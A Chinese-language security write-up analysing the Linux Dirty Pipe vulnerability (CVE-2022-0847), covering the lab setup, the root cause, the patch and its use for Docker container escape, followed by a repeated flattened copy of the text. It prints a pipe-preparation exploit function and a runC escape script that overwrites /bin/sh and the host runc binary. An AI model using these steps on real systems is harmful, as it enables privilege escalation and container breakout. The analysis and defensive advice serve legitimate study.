从脏管道(CVE-2022-0847)到docker逃逸
字数 1210 2025-08-25 22:58:28

Linux内核Dirty Pipe漏洞(CVE-2022-0847)分析与利用

漏洞概述

CVE-2022-0847,又称"Dirty Pipe"漏洞,是Linux内核中的一个安全漏洞,允许低权限用户覆写任意只读文件。该漏洞存在于Linux内核的管道(pipe)机制中,影响5.8及以上版本的内核。

漏洞环境搭建

内核源码获取

wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.1.tar.gz

内核编译配置

make x86_64_defconfig
make menuconfig

需要开启以下调试选项:

[*] Compile the kernel with debug info
[*] Generate dwarf4 debuginfo
[*] Provide GDB scripts for kernel debugging

文件系统准备

sudo mkfs.ext4 -F stretch.img

QEMU启动命令

sudo qemu-system-x86_64 \
    -s \
    -m 2G \
    -smp 2 \
    -kernel ./arch/x86/boot/bzImage \
    -append "console=ttyS0 earlyprintk=serial" \
    -hda ./stretch.img \
    -hdb fat:rw:/path/to/share \
    -nographic \
    -initrd initramfs.img \
    -pidfile vm.pid \
    2>&1 | tee vm.log

漏洞原理分析

管道机制基础

Linux管道(pipe)是进程间通信的主要手段之一,设计为环形数据结构,通常有16个page(每个page通常4KB)。当单次写入未满一个page时,pipe buffer会设置PIPE_BUF_FLAG_CAN_MERGE(0x10)标志,表示该页面可继续写入。

漏洞根源

漏洞存在于copy_page_to_iter_pipe()push_pipe()函数中,它们没有正确初始化buf->flags。当通过splice()将文件page链接到pipe时,如果该page的PIPE_BUF_FLAG_CAN_MERGE标志被保留,后续写入会直接修改文件page,导致非法写入。

补丁分析

补丁为上述两个函数添加了buf->flags的初始化操作,确保标志位被正确清除。

漏洞利用分析

利用步骤

  1. 准备管道:使管道具有PIPE_BUF_FLAG_CAN_MERGE属性
  2. 关联文件page:使用splice()将目标文件page与pipe关联
  3. 写入数据:通过pipe写入修改文件内容

关键代码分析

static void prepare_pipe(int p[2]) {
    if (pipe(p)) abort();
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];
    
    // 填满管道
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }
    
    // 清空管道
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
}

利用限制

  1. 第一个字节不可修改
  2. 单次写入不能超过4KB
  3. 只能覆盖内容,不能调整文件大小
  4. 修改仅影响内存页,不影响磁盘存储

Docker逃逸利用

容器逃逸原理

由于Docker容器与宿主机共享内核,内核漏洞可能影响容器安全。Docker使用只读层叠加文件系统,但该漏洞可以绕过只读限制。

两种逃逸方式

1. 利用CAP_DAC_READ_SEARCH能力

  • 该能力允许调用open_by_handle_at获取主机文件描述符
  • 结合Dirty Pipe漏洞可修改主机文件

2. 通过runc实现逃逸

  • 容器启动时/proc/self/exec与主机的runc二进制关联
  • 通过覆写该文件描述符实现逃逸
  • 修复方案是将/proc/self/exec挂载为只读

runC逃逸利用脚本

#!/bin/bash
echo '#!/proc/self/exe' > /bin/sh
echo "Waiting for runC to be executed in the container"

while true; do
    runC_pid=""
    while [ -z "$runC_pid" ]; do
        runC_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}')
    done
    /exp /proc/${runC_pid}/exe
done

防御措施

  1. 及时更新内核到已修复版本
  2. 限制容器能力,特别是CAP_DAC_READ_SEARCH
  3. 监控容器内可疑行为
  4. 使用安全增强型Linux(SELinux)或AppArmor

总结

Dirty Pipe漏洞展示了内核漏洞如何导致容器逃逸的可能性。尽管容器提供了隔离机制,但共享内核的设计意味着内核级漏洞仍可能危及容器安全。管理员应保持内核更新,并严格控制容器权限。

Linux内核Dirty Pipe漏洞(CVE-2022-0847)分析与利用 漏洞概述 CVE-2022-0847,又称"Dirty Pipe"漏洞,是Linux内核中的一个安全漏洞,允许低权限用户覆写任意只读文件。该漏洞存在于Linux内核的管道(pipe)机制中,影响5.8及以上版本的内核。 漏洞环境搭建 内核源码获取 内核编译配置 需要开启以下调试选项: 文件系统准备 QEMU启动命令 漏洞原理分析 管道机制基础 Linux管道(pipe)是进程间通信的主要手段之一,设计为环形数据结构,通常有16个page(每个page通常4KB)。当单次写入未满一个page时,pipe buffer会设置 PIPE_BUF_FLAG_CAN_MERGE (0x10)标志,表示该页面可继续写入。 漏洞根源 漏洞存在于 copy_page_to_iter_pipe() 和 push_pipe() 函数中,它们没有正确初始化 buf->flags 。当通过 splice() 将文件page链接到pipe时,如果该page的 PIPE_BUF_FLAG_CAN_MERGE 标志被保留,后续写入会直接修改文件page,导致非法写入。 补丁分析 补丁为上述两个函数添加了 buf->flags 的初始化操作,确保标志位被正确清除。 漏洞利用分析 利用步骤 准备管道 :使管道具有 PIPE_BUF_FLAG_CAN_MERGE 属性 关联文件page :使用 splice() 将目标文件page与pipe关联 写入数据 :通过pipe写入修改文件内容 关键代码分析 利用限制 第一个字节不可修改 单次写入不能超过4KB 只能覆盖内容,不能调整文件大小 修改仅影响内存页,不影响磁盘存储 Docker逃逸利用 容器逃逸原理 由于Docker容器与宿主机共享内核,内核漏洞可能影响容器安全。Docker使用只读层叠加文件系统,但该漏洞可以绕过只读限制。 两种逃逸方式 1. 利用CAP_ DAC_ READ_ SEARCH能力 该能力允许调用 open_by_handle_at 获取主机文件描述符 结合Dirty Pipe漏洞可修改主机文件 2. 通过runc实现逃逸 容器启动时 /proc/self/exec 与主机的runc二进制关联 通过覆写该文件描述符实现逃逸 修复方案是将 /proc/self/exec 挂载为只读 runC逃逸利用脚本 防御措施 及时更新内核到已修复版本 限制容器能力,特别是 CAP_DAC_READ_SEARCH 监控容器内可疑行为 使用安全增强型Linux(SELinux)或AppArmor 总结 Dirty Pipe漏洞展示了内核漏洞如何导致容器逃逸的可能性。尽管容器提供了隔离机制,但共享内核的设计意味着内核级漏洞仍可能危及容器安全。管理员应保持内核更新,并严格控制容器权限。